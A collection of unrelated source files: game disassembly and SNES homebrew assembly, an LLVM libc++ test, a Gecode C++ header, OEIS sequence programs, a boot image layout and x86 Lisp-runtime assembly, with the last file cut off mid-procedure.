build421 , , , yr4dwpn_pass1sc1536ac 9M, 6144
build421 FMA3_64, , , yr4dwpn_pass1sc1536ac 11520K, 7680
build421 CORE_32, FMA3_64, , yr4dwpn_pass1sc1536ac 12M, 13
build421 CORE_32 + FMA3_64, , , yr4dwpn_pass1sc1536ac 15M, 10240
build421 FMA3_64, , , yr4dwpn_pass1sc1536ac 19200K, 12800
build421 , , , yr4dwpn_pass1sc2048ac 9M, 4608
build421 , , , yr4dwpn_pass1sc2048ac 12M, 6144
build421 , , , yr4dwpn_pass1sc2048ac 15M, 7680
build421 CORE_32, FMA3_64, , yr4dwpn_pass1sc2048ac 16M, 13
build421 CORE, , , yr4dwpn_pass1sc2048ac 20M, 10240
build421 , , , yr4dwpn_pass1sc2048ac 25M, 12800
;build421 , , , yr4dwpn_pass1sc2560ac 11520K, 4608
;build421 , , , yr4dwpn_pass1sc2560ac 15M, 6144
;build421 , , , yr4dwpn_pass1sc2560ac 19200K, 7680
;build421 , , , yr4dwpn_pass1sc2560ac 20M, 13
;build421 , , , yr4dwpn_pass1sc2560ac 25M, 10240
;build421 , , , yr4dwpn_pass1sc2560ac 32000K, 12800
;build421 , , , yr4dwpn_pass1sc3072ac 13824K, 4608
;build421 , , , yr4dwpn_pass1sc3072ac 18M, 6144
;build421 , , , yr4dwpn_pass1sc3072ac 23040K, 7680
;build421 , , , yr4dwpn_pass1sc3072ac 24M, 13
;build421 , , , yr4dwpn_pass1sc3072ac 30M, 10240
;build421 , , , yr4dwpn_pass1sc3072ac 38400K, 12800
;build421 , , , yr4dwpn_pass1sc4096ac 18M, 4608
;build421 , , , yr4dwpn_pass1sc4096ac 24M, 6144
;build421 , , , yr4dwpn_pass1sc4096ac 30M, 7680
;build421 , , , yr4dwpn_pass1sc4096ac 32M, 13
;build421 , , , yr4dwpn_pass1sc4096ac 40M, 10240
;build421 , , , yr4dwpn_pass1sc4096ac 50M, 12800
;build421 , , , yr4dwpn_pass1sc5120ac 23040K, 4608
;build421 , , , yr4dwpn_pass1sc5120ac 30M, 6144
;build421 , , , yr4dwpn_pass1sc5120ac 38400K, 7680
;build421 , , , yr4dwpn_pass1sc5120ac 40M, 13
;build421 , , , yr4dwpn_pass1sc5120ac 50M, 10240
;build421 , , , yr4dwpn_pass1sc5120ac 64000K, 12800
ENDIF
_TEXT ENDS
END
|
LoreleisRoom_Script:
call LoreleiShowOrHideExitBlock
call EnableAutoTextBoxDrawing
ld hl, LoreleisRoomTrainerHeaders
ld de, LoreleisRoom_ScriptPointers
ld a, [wLoreleisRoomCurScript]
call ExecuteCurMapScriptInTable
ld [wLoreleisRoomCurScript], a
ret
LoreleiShowOrHideExitBlock:
; Blocks or clears the exit to the next room.
ld hl, wCurrentMapScriptFlags
bit 5, [hl]
res 5, [hl]
ret z
ld hl, wBeatLorelei
set 1, [hl]
CheckEvent EVENT_BEAT_LORELEIS_ROOM_TRAINER_0
jr z, .blockExitToNextRoom
ld a, $5
jr .setExitBlock
.blockExitToNextRoom
ld a, $24
.setExitBlock
ld [wNewTileBlockID], a
lb bc, 0, 2
predef_jump ReplaceTileBlock
ResetLoreleiScript:
xor a
ld [wLoreleisRoomCurScript], a
ret
LoreleisRoom_ScriptPointers:
dw LoreleiScript0
dw DisplayEnemyTrainerTextAndStartBattle
dw LoreleiScript2
dw LoreleiScript3
dw LoreleiScript4
LoreleiScript4:
ret
LoreleiScriptWalkIntoRoom:
; Walk six steps upward.
ld hl, wSimulatedJoypadStatesEnd
ld a, D_UP
ld [hli], a
ld [hli], a
ld [hli], a
ld [hli], a
ld [hli], a
ld [hl], a
ld a, $6
ld [wSimulatedJoypadStatesIndex], a
call StartSimulatingJoypadStates
ld a, $3
ld [wLoreleisRoomCurScript], a
ld [wCurMapScript], a
ret
LoreleiScript0:
ld hl, LoreleiEntranceCoords
call ArePlayerCoordsInArray
jp nc, CheckFightingMapTrainers
xor a
ldh [hJoyPressed], a
ldh [hJoyHeld], a
ld [wSimulatedJoypadStatesEnd], a
ld [wSimulatedJoypadStatesIndex], a
ld a, [wCoordIndex]
cp $3 ; Is player standing one tile above the exit?
jr c, .stopPlayerFromLeaving
CheckAndSetEvent EVENT_AUTOWALKED_INTO_LORELEIS_ROOM
jr z, LoreleiScriptWalkIntoRoom
.stopPlayerFromLeaving
ld a, $2
ldh [hSpriteIndexOrTextID], a
call DisplayTextID ; "Don't run away!"
ld a, D_UP
ld [wSimulatedJoypadStatesEnd], a
ld a, $1
ld [wSimulatedJoypadStatesIndex], a
call StartSimulatingJoypadStates
ld a, $3
ld [wLoreleisRoomCurScript], a
ld [wCurMapScript], a
ret
LoreleiEntranceCoords:
dbmapcoord 4, 10
dbmapcoord 5, 10
dbmapcoord 4, 11
dbmapcoord 5, 11
db -1 ; end
LoreleiScript3:
ld a, [wSimulatedJoypadStatesIndex]
and a
ret nz
call Delay3
xor a
ld [wJoyIgnore], a
ld [wLoreleisRoomCurScript], a
ld [wCurMapScript], a
ret
LoreleiScript2:
call EndTrainerBattle
ld a, [wIsInBattle]
cp $ff
jp z, ResetLoreleiScript
ld a, $1
ldh [hSpriteIndexOrTextID], a
jp DisplayTextID
LoreleisRoom_TextPointers:
dw LoreleiText1
dw LoreleiDontRunAwayText
LoreleisRoomTrainerHeaders:
def_trainers
LoreleisRoomTrainerHeader0:
trainer EVENT_BEAT_LORELEIS_ROOM_TRAINER_0, 0, LoreleiBeforeBattleText, LoreleiEndBattleText, LoreleiAfterBattleText
db -1 ; end
LoreleiText1:
text_asm
ld hl, LoreleisRoomTrainerHeader0
call TalkToTrainer
jp TextScriptEnd
LoreleiBeforeBattleText:
text_far _LoreleiBeforeBattleText
text_end
LoreleiEndBattleText:
text_far _LoreleiEndBattleText
text_end
LoreleiAfterBattleText:
text_far _LoreleiAfterBattleText
text_end
LoreleiDontRunAwayText:
text_far _LoreleiDontRunAwayText
text_end
|
// This file is part of Horizontal Shooter.
// Copyright (c) 2016 - 2019, Marcus Rowe <undisbeliever@gmail.com>.
// Distributed under The MIT License: https://opensource.org/licenses/MIT
define MEMORY_MAP = HIROM
define ROM_SIZE = 1
define ROM_SPEED = slow
define REGION = Australia
define ROM_NAME = "HORIZONTAL SHOOTER"
define VERSION = 1
include "../untech/src/common.inc"
include "memmap.inc"
include "resources.inc"
include "../gen/tables/sine-table.inc"
include "../gen/tables/sine-table16.inc"
include "../gen/tables/entityhitbox-collisionorder.inc"
include "../untech/src/untech.inc"
include "interface.inc"
include "spawner.inc"
include "physics.inc"
include "gameloop.inc"
include "camera/starfield.inc"
include "entities/_base-enemy.inc"
include "entities/missiles.inc"
include "entities/player.inc"
include "entities/particles.inc"
include "entities/enemy-fighter.inc"
include "entities/enemy-sinusoidal.inc"
include "entities/enemy-carrier.inc"
include "entities/enemy-carrier-drone.inc"
include "actionpoints.inc"
code(code)
CopHandler:
IrqHandler:
EmptyHandler:
rti
constant Main = GameLoop.Restart
rodata(CopyrightHeader)
map 0, 0, 256
// 12345678901234567890123456789012
db "Horizontal Shooter \n"
db "Copyright (c) 2016 - 2019 \n"
db "Marcus Rowe (The UnDisbeliever)\n"
db "MIT Licensed code, CC0 Graphics\n"
finalizeMemory()
// vim: ft=bass-65816 ts=4 sw=4 et:
|
//===----------------------------------------------------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
// <functional>
// In C++17, the function adapters mem_fun/mem_fun_ref, etc have been removed.
// However, for backwards compatibility, if _LIBCPP_ENABLE_CXX17_REMOVED_BINDERS
// is defined before including <functional>, then they will be restored.
// MODULES_DEFINES: _LIBCPP_ENABLE_CXX17_REMOVED_BINDERS
// MODULES_DEFINES: _LIBCPP_DISABLE_DEPRECATION_WARNINGS
#define _LIBCPP_ENABLE_CXX17_REMOVED_BINDERS
#define _LIBCPP_DISABLE_DEPRECATION_WARNINGS
#include <functional>
#include <cassert>
#include "test_macros.h"
int identity(int v) { return v; }
int sum(int a, int b) { return a + b; }
struct Foo {
int zero() { return 0; }
int zero_const() const { return 1; }
int identity(int v) const { return v; }
int sum(int a, int b) const { return a + b; }
};
int main(int, char**)
{
typedef std::pointer_to_unary_function<int, int> PUF;
typedef std::pointer_to_binary_function<int, int, int> PBF;
static_assert(
(std::is_same<PUF, decltype((std::ptr_fun<int, int>(identity)))>::value),
"");
static_assert(
(std::is_same<PBF, decltype((std::ptr_fun<int, int, int>(sum)))>::value),
"");
assert((std::ptr_fun<int, int>(identity)(4) == 4));
assert((std::ptr_fun<int, int, int>(sum)(4, 5) == 9));
Foo f;
assert((std::mem_fn(&Foo::identity)(f, 5) == 5));
assert((std::mem_fn(&Foo::sum)(f, 5, 6) == 11));
typedef std::mem_fun_ref_t<int, Foo> MFR;
typedef std::const_mem_fun_ref_t<int, Foo> CMFR;
static_assert(
(std::is_same<MFR, decltype((std::mem_fun_ref(&Foo::zero)))>::value), "");
static_assert((std::is_same<CMFR, decltype((std::mem_fun_ref(
&Foo::zero_const)))>::value),
"");
assert((std::mem_fun_ref(&Foo::zero)(f) == 0));
assert((std::mem_fun_ref(&Foo::identity)(f, 5) == 5));
return 0;
}
|
/* -*- mode: C++; c-basic-offset: 2; indent-tabs-mode: nil -*- */
/*
* Main authors:
* Christian Schulte <schulte@gecode.org>
*
* Copyright:
* Christian Schulte, 2017
*
* Last modified:
* $Date: 2017-04-02 04:27:10 +1000 (Sun, 02 Apr 2017) $ by $Author: schulte $
* $Revision: 15623 $
*
* This file is part of Gecode, the generic constraint
* development environment:
* http://www.gecode.org
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
* LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*/
#include <functional>
namespace Gecode {
/// Function type for printing variable and value selection
template<class Var, class Val>
using VarValPrint = std::function<void(const Space& home, const Brancher& b,
unsigned int a,
Var x, int i, const Val& m,
std::ostream& o)>;
/// Class storing a print function
template<class View, class Val>
class BrancherPrint {
public:
/// The corresponding variable type
typedef typename View::VarType Var;
protected:
SharedData<VarValPrint<Var,Val>> p;
public:
/// Initialize
BrancherPrint(VarValPrint<Var,Val> vvp);
/// Initialize during cloning
BrancherPrint(Space& home, bool shared, BrancherPrint& bp);
/// Whether printing is enabled
operator bool(void) const;
/// Invoke print function
void operator ()(const Space& home, const Brancher& b,
unsigned int a,
View x, int i, const Val& m,
std::ostream& o) const;
/// Whether dispose must always be called (that is, notice is needed)
bool notice(void) const;
/// Delete
void dispose(Space& home);
};
/// Class without print function
template<class View, class Val>
class BrancherNoPrint {
public:
/// The corresponding variable type
typedef typename View::VarType Var;
public:
/// Initialize
BrancherNoPrint(VarValPrint<Var,Val> vvp);
/// Initialize during cloning
BrancherNoPrint(Space& home, bool shared, BrancherNoPrint& bp);
/// Whether printing is enabled
operator bool(void) const;
/// Invoke print function
void operator ()(const Space& home, const Brancher& b,
unsigned int a,
View x, int i, const Val& m,
std::ostream& o) const;
/// Whether dispose must always be called (that is, notice is needed)
bool notice(void) const;
/// Delete
void dispose(Space& home);
};
template<class View, class Val>
forceinline
BrancherPrint<View,Val>::BrancherPrint(VarValPrint<Var,Val> vvp) : p(vvp) {
if (!vvp)
throw Gecode::InvalidFunction("BrancherPrint::BrancherPrint");
}
template<class View, class Val>
forceinline
BrancherPrint<View,Val>::BrancherPrint(Space& home, bool shared,
BrancherPrint<View,Val>& bp) {
p.update(home,shared,bp.p);
}
template<class View, class Val>
forceinline
BrancherPrint<View,Val>::operator bool(void) const {
return true;
}
template<class View, class Val>
forceinline void
BrancherPrint<View,Val>::operator ()(const Space& home, const Brancher& b,
unsigned int a,
View x, int i, const Val& m,
std::ostream& o) const {
GECODE_VALID_FUNCTION(p());
Var xv(x.varimp());
p()(home,b,a,xv,i,m,o);
}
template<class View, class Val>
forceinline bool
BrancherPrint<View,Val>::notice(void) const {
return true;
}
template<class View, class Val>
forceinline void
BrancherPrint<View,Val>::dispose(Space&) {
p.~SharedData<VarValPrint<Var,Val>>();
}
template<class View, class Val>
forceinline
BrancherNoPrint<View,Val>::BrancherNoPrint(VarValPrint<Var,Val> vvp) {
assert(!vvp);
}
template<class View, class Val>
forceinline
BrancherNoPrint<View,Val>::BrancherNoPrint(Space&, bool,
BrancherNoPrint<View,Val>&) {}
template<class View, class Val>
forceinline
BrancherNoPrint<View,Val>::operator bool(void) const {
return false;
}
template<class View, class Val>
forceinline void
BrancherNoPrint<View,Val>::operator ()(const Space&, const Brancher&,
unsigned int,
View, int, const Val&,
std::ostream&) const {}
template<class View, class Val>
forceinline bool
BrancherNoPrint<View,Val>::notice(void) const {
return false;
}
template<class View, class Val>
forceinline void
BrancherNoPrint<View,Val>::dispose(Space&) {}
}
// STATISTICS: kernel-branch
|
.include "header.asm"
.include "snes.asm"
.include "MC_libks.asm"
.include "variable.asm"
.MACRO LKS_SPRITE_MOVE_SPD
clc
lda LKS_SPRITE.PX,x
adc LKS_SPRITE.VX,x
sta LKS_SPRITE.PX,x
clc
lda LKS_SPRITE.PY,x
adc LKS_SPRITE.VY,x
sta LKS_SPRITE.PY,x
.ENDM
.MACRO PAL_WRAM
lda #:\1
ldx #\1
stx LKS_PAL+$10+(3*\2)
sta LKS_PAL+$10+(3*\2)+2
.ENDM
.MACRO LKS_INIT_BG
lda #:\2
ldx #\2
stx LKS_BG.Address1+0
sta LKS_BG.Address1+2
lda #:\1
ldx #\1
stx LKS_BG.Address2+0
sta LKS_BG.Address2+2
ldx #$10*\3
stx LKS_BG.limitex
ldx #$20*\4
stx LKS_BG.addy
ldx #$10*\4
stx LKS_BG.limitey
ldx #2*\4
stx LKS_BG.addyr
lda #:\5
ldx #\5
stx LKS_BG.Addressc+0
sta LKS_BG.Addressc+2
.ENDM
.MACRO LKS_SPRITE_DRAW
ldx LKS_SPRITE.OAM
lda LKS_SPRITE.X+($20*\1)
sta LKS_BUF_OAML+0,x
lda LKS_SPRITE.Y+($20*\1)
sta LKS_BUF_OAML+1,x
lda LKS_SPRITE.Tile+($20*\1)
sta LKS_BUF_OAML+2,x
lda LKS_SPRITE.Flip+($20*\1)
sta LKS_BUF_OAML+3,x
.ENDM
.MACRO LKS_SPRITE_INIT
rep #$20
lda #\1
sta LKS_SPRITE.X,x
lda #\1<<2
sta LKS_SPRITE.PX,x
lda #\2
sta LKS_SPRITE.Y,x
lda #\2<<2
sta LKS_SPRITE.PY,x
lda #4*\6
sta LKS_SPRITE.OAM,x
sep #$20
lda #\3
sta LKS_SPRITE.Tile,x
lda #$20+\4
sta LKS_SPRITE.Flip,x
lda #\5
sta LKS_SPRITE.Ext,x
.ENDM
.MACRO LKS_SPRITE_ANIM_INIT
stz LKS_SPRITE.Anim_i,x
stz LKS_SPRITE.Anim_l,x
stz LKS_SPRITE.Anim_old,x
stz LKS_SPRITE.Anim_end,x
lda #\1
sta LKS_SPRITE.Anim_flg,x
lda #\2
sta LKS_SPRITE.Anim_act,x
lda #\3
sta LKS_SPRITE.Anim_v,x
lda #\4
sta LKS_SPRITE.Anim_n,x
.ENDM
.MACRO LKS_DMA_INIT
lda #1
sta LKS_DMA.Enable,x
lda #:\1
sta LKS_DMA.Bank,x
rep #$20
lda #\1
sta LKS_SPRITE.Address,x
sta LKS_DMA.Src1,x
lda #\2/(1+\6)
sta LKS_DMA.Size1,x
lda #(\2/5.12)+18 + (5*\6)
sta LKS_DMA.dmat,x
lda #4*\3
sta LKS_DMA.SrcR,x
lda #\4
sta LKS_DMA.Dst1,x
lda #\5
sta LKS_DMA.Func,x
sep #$20
.ENDM
Int:
rti
Main:
SNES_INIT0
rep #$10 ;16 bit xy
sep #$20 ; 8 bit a
SNES_INIDISP $8F
SNES_NMITIMEN $00
jsl LKS_Clear_RAM
SNES_INIT
Start:
jsl LKS_INIT
LKS_Clear_VRAM
jsl Map_Tile1
SNES_TS $11
SNES_CGSWSEL $02
SNES_CGADSUB $42
SNES_DMAX $01
SNES_DMAX_BADD $18
LKS_INIT_BG map3_A,map3_B,64,64,Map1c
LKS_INIT_BG map1,map2,64,64,Map1c
jsl LKS_Background1
jsl LKS_Background2
;load font
LKS_LOAD_VRAM $4000,$00,bpp_font,$400
LKS_LOAD_CG $00,bpp_fontpal,$10
;load sprite
LKS_LOAD_CG $80,Papi_pal,$20
ldx #0
LKS_SPRITE_INIT 40,40,0,$00,$AA,64
LKS_SPRITE_ANIM_INIT $10,0,9,4
LKS_DMA_INIT Papi,$100,128,$6000,LKS_DMA_VRAM1x2,1
ldx #$20*1
LKS_SPRITE_INIT 240,80,8,$00,$AA,68
LKS_SPRITE_ANIM_INIT $10,2,9,4
LKS_DMA_INIT Papi,$100,128,$6080,LKS_DMA_VRAM1x2,1
jsl LKS_GAMELOOP_INIT
Game:
;jsl LKS_Fade_in
SNES_DMAX $00
SNES_DMAX_BADD $80
jsl LKS_Joypad
jsl LKS_OAM_Clear
ldx #0
ldy #0
lda LKS_STDCTRL+_UP
cmp #2
bne +
ldx #-$04-2
lda #1
sta SCharacter.direction
lda #2*2
sta LKS_SPRITE.Anim_act
+:
lda LKS_STDCTRL+_DOWN
cmp #2
bne +
ldx #$04+2
lda #0
sta SCharacter.direction
lda #2*0
sta LKS_SPRITE.Anim_act
+:
lda LKS_STDCTRL+_LEFT
cmp #2
bne +
ldy #-$04-2
lda #2
sta SCharacter.direction
lda #2*1
sta LKS_SPRITE.Anim_act
lda LKS_SPRITE.Flip
and #$3F
sta LKS_SPRITE.Flip
+:
lda LKS_STDCTRL+_RIGHT
cmp #2
bne +
ldy #$04+2
lda #3
sta SCharacter.direction
lda #2*1
sta LKS_SPRITE.Anim_act
lda LKS_SPRITE.Flip
ora #$40
sta LKS_SPRITE.Flip
+:
stx LKS_SPRITE.VY
sty LKS_SPRITE.VX
;Papi
ldy #$20*0
jsl LKS_Collision_Map
jsl LKS_Sprite_Move
jsl LKS_Background_Camera
jsl LKS_Scrolling_limite
jsl LKS_Sprite_Draw_32x32_2x2
jsl LKS_Sprite_Anim
jsl LKS_Sprite_DMA
;ldx #9
-:
phx
ldy #$20*1
jsl LKS_Collision_Map
jsl LKS_Sprite_Move
jsl LKS_Sprite_Draw_32x32_2x2
jsl LKS_Sprite_Anim
jsl LKS_Sprite_DMA
plx
dex
;cpx #1
;bne -
jsl LKS_Scrolling
jsr Text_draw
jsl LKS_DMA_SORT
jsl WaitVBlank
jmp Game
.MACRO LKS_COLLISION_MAP
lda LKS_SPRITE.PX,y
clc
adc #\2<<2
.if \1 == 0
adc LKS_SPRITE.VX,y
.endif
lsr
lsr
lsr
lsr
lsr
lsr
sta MEM_TEMP
lda LKS_SPRITE.PY,y
clc
adc #\3<<2
.if \1 == 1
adc LKS_SPRITE.VY,y
.endif
asl
asl
and #$FF00
ora #$0010
sta WRMPYA
LKS_cycle8
lda RDMPYL
asl
asl
; xxxx xxxx xxxx xx.ff
; $FFC0
clc
adc MEM_TEMP
adc LKS_BG.Addressc
sta MEM_TEMP
lda LKS_BG.Addressc+2
sta LKS_ZP+2
phy
ldy MEM_TEMP
lda [LKS_ZP],y
sta MEM_TEMP
ply
.ENDM
.MACRO LKS_COLLISION_MAP0
lda LKS_BG.Addressc+2
sta LKS_ZP+2
lda LKS_BG.Addressc
sta LKS_ZP
lda LKS_SPRITE.PX,y
clc
adc #8<<2
adc LKS_SPRITE.VX,y
lsr
lsr
lsr
lsr
lsr
lsr
sta MEM_TEMP+0
lda LKS_SPRITE.PX,y
clc
adc #8<<2
lsr
lsr
lsr
lsr
lsr
lsr
sta MEM_TEMP+2
;----------------
lda LKS_SPRITE.PY,y
clc
adc #$10<<2
adc LKS_SPRITE.VY,y
asl
asl
and #$FF00
ora #$0010
sta WRMPYA
LKS_cycle8
lda RDMPYL
asl
asl
sta MEM_TEMP+4
lda LKS_SPRITE.PY,y
clc
adc #$10<<2
asl
asl
and #$FF00
ora #$0010
sta WRMPYA
LKS_cycle8
lda RDMPYL
asl
asl
sta MEM_TEMP+6
.ENDM
.MACRO LKS_COLLISION_MAP1
lda MEM_TEMP+(2*\1)
clc
adc MEM_TEMP+(2*\2)
sta MEM_TEMP +8
adc #64
tay
lda [LKS_ZP],y
sta MEM_TEMP +10
lda MEM_TEMP +8
tay
lda [LKS_ZP],y
.ENDM
LKS_Collision_Map2:
rep #$20
tyx
phy
LKS_COLLISION_MAP0
LKS_COLLISION_MAP1 0,3 ;vx
bit #$101
beq +
lda #0
sta LKS_SPRITE.VX,x
+:
lda MEM_TEMP+10
bit #$101
beq +
lda #0
sta LKS_SPRITE.VX,x
+:
lda LKS_SPRITE.VX,x
LKS_COLLISION_MAP1 1,2 ;vy
bit #$0101
beq +
lda #0
sta LKS_SPRITE.VY,x
+:
lda MEM_TEMP+10
bit #$101
beq +
lda #0
sta LKS_SPRITE.VY,x
+:
ply
sep #$20
rtl
LKS_Collision_Map:
rep #$20
;X
LKS_COLLISION_MAP 0,8,$1C
bit #1
beq +
lda #0
sta LKS_SPRITE.VX,y
+:
bit #$100
beq +
lda #0
sta LKS_SPRITE.VX,y
+:
;Y
LKS_COLLISION_MAP 1,8,$1C
bit #1
beq +
lda #0
sta LKS_SPRITE.VY,y
+:
bit #$100
beq +
lda #0
sta LKS_SPRITE.VY,y
+:
sep #$20
rtl
Draw_Game:
rts
LKS_Sprite_Anim:
tyx
stz MEM_RETURN
lda LKS_SPRITE.Anim_act,x
cmp LKS_SPRITE.Anim_old,x
beq +
sta LKS_SPRITE.Anim_old,x
stz LKS_SPRITE.Anim_l,x
stz LKS_SPRITE.Anim_i,x
lda #$80
sta MEM_RETURN
+:
inc LKS_SPRITE.Anim_l,x
lda LKS_SPRITE.Anim_l,x
cmp LKS_SPRITE.Anim_v,x
bne +
stz LKS_SPRITE.Anim_l,x
inc LKS_SPRITE.Anim_i,x
lda #$80
sta MEM_RETURN
+:
stz LKS_SPRITE.Anim_end,x
lda LKS_SPRITE.Anim_i,x
cmp LKS_SPRITE.Anim_n,x
bne +
stz LKS_SPRITE.Anim_l,x
stz LKS_SPRITE.Anim_i,x
sta LKS_SPRITE.Anim_end,x
lda #$80
sta MEM_RETURN
+:
lda LKS_SPRITE.Anim_flg,x
and #$7F
ora MEM_RETURN
sta LKS_SPRITE.Anim_flg,x
rtl
LKS_Sprite_DMA:
lda LKS_SPRITE.Anim_flg,x
bit #$80
beq +
rtl
+:
;Anim Y
lda LKS_SPRITE.Anim_act,x
asl
asl
asl
sta WRMPYA
lda #$80
sta WRMPYB
rep #$20
lda LKS_SPRITE.Anim_flg,x
and #$30
asl
clc
adc #$20
sta MEM_TEMP
lda RDMPYL
sta MEM_TEMP+4
sep #$20
;Anim X
lda LKS_SPRITE.Anim_i,x
sta WRMPYA
lda MEM_TEMP
sta WRMPYB
nop
nop
rep #$20
stx MEM_TEMP
lda RDMPYL
asl
sta MEM_TEMP+2
;Send
lda LKS_SPRITE.Address,x
clc
adc MEM_TEMP+2
adc MEM_TEMP+4
sta LKS_DMA.Src1,x
lda LKS_DMA_SEND.i
tax
adc #2
sta LKS_DMA_SEND.i
lda MEM_TEMP
sta LKS_DMA_SEND.index,x
sep #$20
rtl
Text_draw:
LKS_printf_setpal 1 ; select pal 1
ldx #text_s1
LKS_printfs 1,2
LKS_printf_setpal 0 ; select pal 0
ldx #text_s1
LKS_printfs 1,1
lda LKS_CPU
LKS_printf8u 1,3
ldy LKS_DEBUG
LKS_printf16u 1,5
ldy LKS_VBLANK+_vbltime
LKS_printf16u 1,0
ldy LKS_DEBUG+2
LKS_printf16h 1,6
ldy #LKS_STDCTRL&$FFFF
LKS_printf16h 8,0
rts
text_s1:
.db "hello world",0
.include "libksbk.asm"
.include "load_map.asm"
.include "libks.asm"
bpp_font:
.incbin "DATA/fontm.spr"
bpp_fontpal:
.db $E7, $1C, $42, $08, $94, $52, $7b, $6f
.db $E7, $1C, $80, $10, $08, $52, $60, $6f
.bank 1 slot 0
.org 0
.include "data.asm"
|
; A322327: a(n) = A005361(n) * A034444(n) for n > 0.
; Submitted by Christian Krause
; 1,2,2,4,2,4,2,6,4,4,2,8,2,4,4,8,2,8,2,8,4,4,2,12,4,4,6,8,2,8,2,10,4,4,4,16,2,4,4,12,2,8,2,8,8,4,2,16,4,8,4,8,2,12,4,12,4,4,2,16,2,4,8,12,4,8,2,8,4,8,2,24,2,4,8,8,4,8,2,16
add $0,1
mov $1,1
mov $2,2
lpb $0
mov $3,$0
lpb $3
mov $4,$0
mod $4,$2
add $2,1
cmp $4,0
cmp $4,0
sub $3,$4
lpe
mov $5,0
lpb $0
dif $0,$2
add $5,2
lpe
mul $1,$5
lpe
mov $0,$1
|
; A293262: a(n) = floor(prime(n)*(e-2)).
; Submitted by Jon Maiga
; 1,2,3,5,7,9,12,13,16,20,22,26,29,30,33,38,42,43,48,50,52,56,59,63,69,72,73,76,78,81,91,94,98,99,107,108,112,117,119,124,128,130,137,138,141,142,151,160,163,164,167,171,173,180,184,188,193,194,198,201,203,210,220,223,224,227,237,242,249,250,253,257,263,267,272,275,279,285,288,293,300,302,309,311,315,318
mov $1,1
mov $2,10
mov $3,$0
seq $3,40 ; The prime numbers.
lpb $2
mul $4,10
mov $8,$5
seq $8,1113 ; Decimal expansion of e.
add $4,$8
add $5,1
mov $7,$4
mod $7,$1
mov $6,$7
mul $6,$3
div $6,$1
mul $1,10
sub $2,1
lpe
mov $0,$6
|
macro align value { db value-1 - ($ + value-1) mod (value) dup 0 }
HEADS = 1
SPT = 18 ;4 сектора по 512 байт
Begin:
file "boot.bin", 512
file "kernel.bin"
align 8192 ;16 секторов
align HEADS*SPT*512 |
; A052991: Expansion of (1-x-x^2)/(1-3x-x^2).
; 1,2,6,20,66,218,720,2378,7854,25940,85674,282962,934560,3086642,10194486,33670100,111204786,367284458,1213058160,4006458938,13232434974,43703763860,144343726554,476734943522,1574548557120
mov $1,1
lpb $0
sub $0,1
add $2,$1
add $1,$2
add $3,$1
mov $2,$3
mov $3,$1
lpe
|
.386p
.387
include specnb.dat
assume cs:FLAT,ds:FLAT,es:FLAT,fs:FLAT,gs:FLAT,ss:FLAT
_TEXT segment para use32 public 'CODE'
include specnb.equ
ini_snb proc near
mov eax,5
mov ebx,offset FLAT:pnmac1496
mov ecx,offset FLAT:scale
mov edx,offset FLAT:zscale
push z_scale
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1497
mov ecx,offset FLAT:lognot
mov edx,offset FLAT:zlognot
push z_lognot
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1498
mov ecx,offset FLAT:logand
mov edx,offset FLAT:zlogand
push z_logand
call near ptr inisymb
mov eax,5
mov ebx,offset FLAT:pnmac1499
mov ecx,offset FLAT:logor
mov edx,offset FLAT:zlogor
push z_logor
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1500
mov ecx,offset FLAT:logxor
mov edx,offset FLAT:zlogxor
push z_logxor
call near ptr inisymb
mov eax,8
mov ebx,offset FLAT:pnmac1501
mov ecx,offset FLAT:logshift
mov edx,offset FLAT:zlogshift
push z_logshift
call near ptr inisymb
mov eax,3
mov ebx,offset FLAT:pnmac1502
mov ecx,offset FLAT:dpn
mov edx,offset FLAT:zdpn
push z_dpn
call near ptr inisymb
mov eax,10
mov ebx,offset FLAT:pnmac1503
mov ecx,offset FLAT:mskfield
mov edx,offset FLAT:zmskfield
push z_mskfield
call near ptr inisymb
mov eax,9
mov ebx,offset FLAT:pnmac1504
mov ecx,offset FLAT:ldbyte
mov edx,offset FLAT:zldbyte
push z_ldbyte
call near ptr inisymb
mov eax,12
mov ebx,offset FLAT:pnmac1505
mov ecx,offset FLAT:dpbyte
mov edx,offset FLAT:zdpbyte
push z_dpbyte
call near ptr inisymb
mov eax,13
mov ebx,offset FLAT:pnmac1506
mov ecx,offset FLAT:dpfield
mov edx,offset FLAT:zdpfield
push z_dpfield
call near ptr inisymb
mov eax,14
mov ebx,offset FLAT:pnmac1507
mov ecx,offset FLAT:ldbt
mov edx,offset FLAT:zldbt
push z_ldbt
call near ptr inisymb
mov eax,4
mov ebx,offset FLAT:pnmac1508
mov ecx,offset FLAT:oddp
mov edx,offset FLAT:zoddp
push z_oddp
call near ptr inisymb
mov eax,5
mov ebx,offset FLAT:pnmac1509
mov ecx,offset FLAT:evenp
mov edx,offset FLAT:zevenp
push z_evenp
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1510
mov ecx,offset FLAT:llrandom
mov edx,offset FLAT:zllrandom
push z_llrandom
call near ptr inisymb
mov eax,7
mov ebx,offset FLAT:pnmac1511
mov ecx,offset FLAT:llsrandom
mov edx,offset FLAT:zllsrandom
push z_llsrandom
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1512
mov ecx,offset FLAT:floatp
mov edx,offset FLAT:zfloatp
push z_floatp
